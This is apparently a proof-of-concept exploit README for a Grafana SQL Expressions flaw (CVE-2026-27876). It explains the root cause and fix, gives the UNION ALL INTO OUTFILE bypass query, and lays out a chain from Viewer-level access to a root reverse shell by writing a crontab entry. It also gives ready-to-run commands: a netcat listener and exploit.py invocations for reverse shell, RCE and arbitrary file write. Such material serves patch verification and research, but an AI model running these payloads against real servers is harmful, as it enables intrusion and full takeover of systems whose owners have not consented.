## https://sploitus.com/exploit?id=3DD6C67A-5A26-5371-B94C-F392EB87292A
# CVE-2026-27876: Grafana SQL Expressions Arbitrary File Write to RCE
**CVSS 9.1 Critical** | Arbitrary File Write | Remote Code Execution
## Summary
Grafana's SQL Expressions feature (`sqlExpressions` toggle) uses an in-process SQL engine (`dolthub/go-mysql-server`) with a flawed AST allowlist. The `SetOp` node (UNION ALL) passes validation and its `walkSubtree()` does not traverse the `Into` child β allowing `INTO OUTFILE` to write arbitrary files to the server filesystem as the Grafana process user.
Any authenticated user (Viewer role or higher) can chain this to full RCE via cron-based reverse shell.
## Affected Versions
| Range | Affected | Fixed |
|-------|----------|-------|
| 11.6.x | 11.6.0 β 11.6.13 | 11.6.14 |
| 12.0.x β 12.1.x | 12.0.0 β 12.1.9 | 12.1.10 |
| 12.2.x | 12.2.0 β 12.2.7 | 12.2.8 |
| 12.3.x | 12.3.0 β 12.3.5 | 12.3.6 |
| 12.4.x | 12.4.0 β 12.4.1 | 12.4.2 |
Requires `sqlExpressions` feature toggle to be enabled.
## Root Cause
Two compounding flaws in `pkg/expr/sql/`:
1. **`parser_allow.go`**: `allowedNode()` uses a named return `b = true`. The `*sqlparser.SetOp` case returns true (allowed), and `SetOp.walkSubtree()` does NOT traverse the `Into` child node. This means `UNION ALL ... INTO OUTFILE` bypasses the allowlist entirely.
2. **`db.go`**: The SQL engine context is created without `WithDisableFileWrites(true)`, so `INTO OUTFILE` writes to disk.
### Bypass Syntax
```sql
(SELECT 'line1') UNION ALL (SELECT 'line2') INTO OUTFILE '/target/path'
```
A single `(SELECT ...) INTO OUTFILE` produces a `ParenSelect` node which IS blocked. Two or more `SELECT` parts joined with `UNION ALL` produce a `SetOp` node which bypasses the check.
## Exploit Chain
```
1. Authenticate (Viewer role sufficient)
2. POST /api/ds/query with __expr__ datasource, type "sql"
3. UNION ALL INTO OUTFILE writes reverse shell script to /tmp/
4. Second write places cron entry in /etc/crontabs/root
5. Cron fires within 60 seconds -> reverse shell as root
```
## Usage
### Lab Setup
```bash
cd lab/
docker compose up -d
# Wait for Grafana to be healthy (~15s)
```
Grafana runs on `http://localhost:3333` with credentials `admin:admin`.
### Run Exploit
**Terminal 1 β Listener:**
```bash
nc -lvnp 4444
```
**Terminal 2 β Exploit:**
```bash
cd poc/
python3 exploit.py -t http://localhost:3333 --revshell --lhost 172.28.0.1 --lport 4444
```
Reverse shell lands within 60 seconds.
### Other Modes
```bash
# Check if target is vulnerable (no writes)
python3 exploit.py -t http://TARGET:3000 --check
# Write arbitrary file
python3 exploit.py -t http://TARGET:3000 --write-path /tmp/test.txt --write-content "hello"
# Write local file to target
python3 exploit.py -t http://TARGET:3000 --write-path /tmp/test.txt --write-file ./local.txt
# RCE via datasource provisioning (no cron needed)
python3 exploit.py -t http://TARGET:3000 --rce
```
### Cleanup
```bash
docker exec grafana-cve-2026-27876 rm -f /etc/crontabs/root /tmp/.grafana_rce_*.sh
```
To re-run the exploit after a previous run, clean up first β `INTO OUTFILE` cannot overwrite existing files.
## Fix
Commit `0e5d9e01ef31f072fd41626cd744699374e70127` (PR #121514):
1. `parser_allow.go`: `case *sqlparser.SetOp: return v.GetInto() == nil`
2. `parser_allow.go`: `case *sqlparser.Into: return v == nil`
3. `db.go`: `mysql.WithDisableFileWrites(true)`
## Files
```
.
βββ README.md
βββ analysis.md # Full root cause analysis
βββ lab/
β βββ docker-compose.yml # Grafana 12.4.0 lab (confirmed)
β βββ Dockerfile # Custom image with cron support
β βββ entrypoint.sh # Starts crond + Grafana
β βββ setup.sh # Auto-setup script
βββ poc/
βββ exploit.py # Full PoC with RCE
βββ cvss-justification.md
```
## References
- Fix: https://github.com/grafana/grafana/commit/0e5d9e01ef31f072fd41626cd744699374e70127
- PR: https://github.com/grafana/grafana/pull/121514
- Advisory: https://grafana.com/security/security-advisories/cve-2026-27876/
## Disclaimer
For authorized security research and controlled lab testing only. Do not use against systems without explicit permission.